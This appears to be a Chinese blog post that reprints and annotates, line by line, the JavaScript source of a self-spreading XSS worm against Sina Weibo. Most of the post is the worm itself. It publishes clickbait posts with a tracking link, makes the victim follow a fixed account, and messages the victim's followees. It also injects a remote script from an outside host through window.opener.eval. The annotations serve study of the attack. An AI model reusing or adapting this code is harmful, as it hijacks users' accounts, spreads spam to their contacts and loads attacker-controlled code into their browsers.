代码下载(来源游侠安全网) /** *使用AJAX创建XMLHttpRequest对象,若不是IE浏览器,使用XMLHttpRequest创建XHR对象, *否则使用ActiveXObject创建XHR对象。 */ function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Microsoft.XMLHTTP"); } /** *获得所有用户,下面一个函数将用其获得用户所有的关注用户 */ function getappkey(url){ xmlHttp = createXHR(); //使用GET方式发送AJAX请求 xmlHttp.open("GET",url,false); xmlHttp.send(); //获得服务器响应结果 result = xmlHttp.responseText; id_arr = ''; id = result.match(/namecard=/"true/" title=/"[^/"]*/g); for(i=0;i<id.length;i++){ sum = id[i].toString().split('"')[3]; id_arr += sum + '||'; } return id_arr; } /** *创建随机微博msg,微博内容为msgs数组的随机一条内容+一个链接link. *使用encodeURIComponent(msg)对encodeURIComponent(msg)该随机产生的微博编码,然后返回。 */ function random_msg(){ link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();; var msgs = [ '郭美美事件的一些未注意到的细节:', '建党大业中穿帮的地方:', '让女人心动的100句诗歌:', '3D肉团团高清普通话版种子:', '这是传说中的神仙眷侣啊:', '惊爆!范冰冰艳照真流出了:', '杨幂被爆多次被潜规则:', '傻仔拿锤子去抢银行:', '可以监听别人手机的软件:', '个税起征点有望提到4000:']; var msg = msgs[Math.floor(Math.random()*msgs.length)] + link; msg = encodeURIComponent(msg); return msg; } /** *使用POST方式发送AJAX请求,并设置请求头部Accept 和Content-Type */ function post(url,data,sync){ xmlHttp = createXHR(); xmlHttp.open("POST",url,sync); xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8"); xmlHttp.send(data); } /** *发布微博 */ function publish(){ url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true); } function follow(){ url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile'; post(url,data,true); } /** *向所有用户发送微博 */ function message(){ url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; //用户关注 ids = getappkey(url); id = ids.split('||'); for(i=0;i<id.length - 1 & i<5;i++){ msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime(); msg = random_msg(); msg = encodeURIComponent(msg); user = encodeURIComponent(encodeURIComponent(id[i])); data = 'content=' + msg + '&name=' + user + '&retcode='; post(msgurl,data,false); } } function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} } /** *创建script标签,并引进http://www.2kt.cn/images/t.js这个脚本,将其加载到该网页,并执行,完成跨站脚本攻击(XSS)。 */ try{ x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x); } catch(e){} main(); var t=setTimeout('location="http://weibo.com/pub/topic";',5000); 说下几个js函数: 直接上图: 来源:http://www.dreamdu.com/javascript/Math.random/ 参考: 游侠安全网 W3school Dreamdu